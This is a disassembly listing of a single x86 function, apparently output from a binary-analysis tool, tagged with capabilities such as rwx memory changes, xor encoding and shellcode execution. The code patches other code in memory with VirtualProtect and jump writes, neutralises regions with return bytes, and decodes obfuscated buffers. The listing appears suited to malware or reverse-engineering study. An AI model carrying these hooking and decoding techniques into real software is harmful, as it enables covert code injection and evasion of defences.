Function at 0x10013b20
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10020268
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x10028014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0xff
push 0x10
lea edx, [ebp - 0x24]
mov word [0x10188b61], 0x101
mov ecx, 0x400000
mov dword [ebp - 0x24], 0xc708c483
mov dword [ebp - 0x20], 0xffffff05
mov dword [ebp - 0x1c], 0x46ff
mov dword [ebp - 0x18], 0x68006a00
call fcn.10004040
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 8
test eax, eax
je 0x10013c0d
mov esi, dword [eax + 0x1f]
lea edi, [eax + 0x1e]
add esi, 5
add esi, edi
lea ecx, [esi + 0xa]
mov dword [0x1004cd34], ecx
mov eax, dword [ecx + 1]
add eax, 5
add eax, ecx
mov dword [0x1004cd34], eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, 0x1000de10
mov byte [esi], 0xe9
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x28]
push 5
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call esi
lea eax, [ebp - 0x28]
push eax
push 0x40
push 5
push edi
call esi
mov eax, 0x1000de10
mov byte [edi], 0xe8
sub eax, edi
sub eax, 5
mov dword [edi + 1], eax
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x28]
push 5
push edi
mov edi, esi
call edi
jmp 0x10013c3f
mov edx, 0xef
xor ecx, ecx
mov al, byte [ecx + 0x10022cf8]
xor al, dl
mov byte [ebp + ecx - 0x24], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x11
jb 0x10013c14
mov byte [ebp - 0x13], 0
lea ecx, [ebp - 0x24]
mov dword [ebp - 4], 0
call fcn.100043d0
mov esi, dword [0x101885bc]
lea eax, [ebp - 0x28]
push eax
push 0x40
push 0x76
push esi
call edi
push 0x76
push 0xc3
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
push 0x76
push esi
call edi
mov esi, dword [0x10188718]
lea eax, [ebp - 0x28]
push eax
push 0x40
push 0x1e0
push esi
call edi
push 0x1e0
push 0xc3
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
push 0x1e0
push esi
call edi
mov esi, dword [0x1018844c]
lea eax, [ebp - 0x28]
push eax
push 0x40
push 0x33
push esi
call edi
push 0x33
push 0xc3
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
push 0x33
push esi
call edi
mov esi, dword [0x1018844c]
lea eax, [ebp - 0x28]
push eax
push 0x40
push 5
push esi
call edi
mov eax, 0x1000e3a0
mov byte [esi], 0xe9
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x28]
push 5
push esi
call edi
push 0xa0
push 0
push 0x10aaa198
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 0xa0
push 0x10aaa198
push 0x1000e3a0
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call esi
mov edi, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push eax
call edi
movaps xmm1, xmmword [0x10022f90]
xor eax, eax
movaps xmm2, xmmword [0x10023080]
movups xmm0, xmmword [eax + 0x10aaa198]
psubb xmm0, xmm1
movups xmmword [eax + 0x10aaa198], xmm0
movups xmm0, xmmword [eax + 0x10aaa198]
pxor xmm0, xmm2
movups xmmword [eax + 0x10aaa198], xmm0
movups xmm0, xmmword [eax + 0x10aaa1a8]
psubb xmm0, xmm1
movups xmmword [eax + 0x10aaa1a8], xmm0
movups xmm0, xmmword [eax + 0x10aaa1a8]
pxor xmm0, xmm2
movups xmmword [eax + 0x10aaa1a8], xmm0
add eax, 0x20
cmp eax, 0xa0
jb 0x10013d42
push 0x7c
push 0
push 0x10188d60
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 0x7c
push 0x10188d60
push fcn.1000df40
call esi
push eax
call edi
movaps xmm1, xmmword [0x10022f90]
mov edx, 3
movaps xmm2, xmmword [0x10023080]
mov eax, 0x10188d70
lea ecx, [edx + 0x5d]
lea eax, [eax + 0x20]
movups xmm0, xmmword [eax - 0x30]
psubb xmm0, xmm1
movups xmmword [eax - 0x30], xmm0
movups xmm0, xmmword [eax - 0x30]
pxor xmm0, xmm2
movups xmmword [eax - 0x30], xmm0
movups xmm0, xmmword [eax - 0x20]
psubb xmm0, xmm1
movups xmmword [eax - 0x20], xmm0
movups xmm0, xmmword [eax - 0x20]
pxor xmm0, xmm2
movups xmmword [eax - 0x20], xmm0
sub edx, 1
jne 0x10013dd3
nop dword [eax + eax]
mov al, byte [ecx + 0x10188d60]
sub al, 0x10
xor al, 0x77
mov byte [ecx + 0x10188d60], al
inc ecx
cmp ecx, 0x7c
jb 0x10013e10
push 0x1f9
push 0
push 0x10aaa238
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 0x1f9
push 0x10aaa238
push fcn.1000dfc0
call esi
push eax
call edi
movaps xmm1, xmmword [0x10022f90]
mov eax, 0x10aaa248
movaps xmm2, xmmword [0x10023080]
mov edx, 0xf
mov ecx, 0x1e0
nop dword [eax]
lea eax, [eax + 0x20]
movups xmm0, xmmword [eax - 0x30]
psubb xmm0, xmm1
movups xmmword [eax - 0x30], xmm0
movups xmm0, xmmword [eax - 0x30]
pxor xmm0, xmm2
movups xmmword [eax - 0x30], xmm0
movups xmm0, xmmword [eax - 0x20]
psubb xmm0, xmm1
movups xmmword [eax - 0x20], xmm0
movups xmm0, xmmword [eax - 0x20]
pxor xmm0, xmm2
movups xmmword [eax - 0x20], xmm0
sub edx, 1
jne 0x10013e70
nop dword [eax + eax]
mov al, byte [ecx + 0x10aaa238]
sub al, 0x10
xor al, 0x77
mov byte [ecx + 0x10aaa238], al
inc ecx
cmp ecx, 0x1f9
jb 0x10013eb0
push 0xfb
push 0
push 0x10aaa098
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 0xfb
push 0x10aaa098
push fcn.1000d8a0
call esi
push eax
call edi
movaps xmm1, xmmword [0x10022f90]
mov eax, 0x10aaa0a8
movaps xmm2, xmmword [0x10023080]
mov edx, 7
mov ecx, 0xe0
lea eax, [eax + 0x20]
movups xmm0, xmmword [eax - 0x30]
psubb xmm0, xmm1
movups xmmword [eax - 0x30], xmm0
movups xmm0, xmmword [eax - 0x30]
pxor xmm0, xmm2
movups xmmword [eax - 0x30], xmm0
movups xmm0, xmmword [eax - 0x20]
psubb xmm0, xmm1
movups xmmword [eax - 0x20], xmm0
movups xmm0, xmmword [eax - 0x20]
pxor xmm0, xmm2
movups xmmword [eax - 0x20], xmm0
sub edx, 1
jne 0x10013f10
nop dword [eax + eax]
mov al, byte [ecx + 0x10aaa098]
sub al, 0x10
xor al, 0x77
mov byte [ecx + 0x10aaa098], al
inc ecx
cmp ecx, 0xfb
jb 0x10013f50
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001e905
mov esp, ebp
pop ebp
ret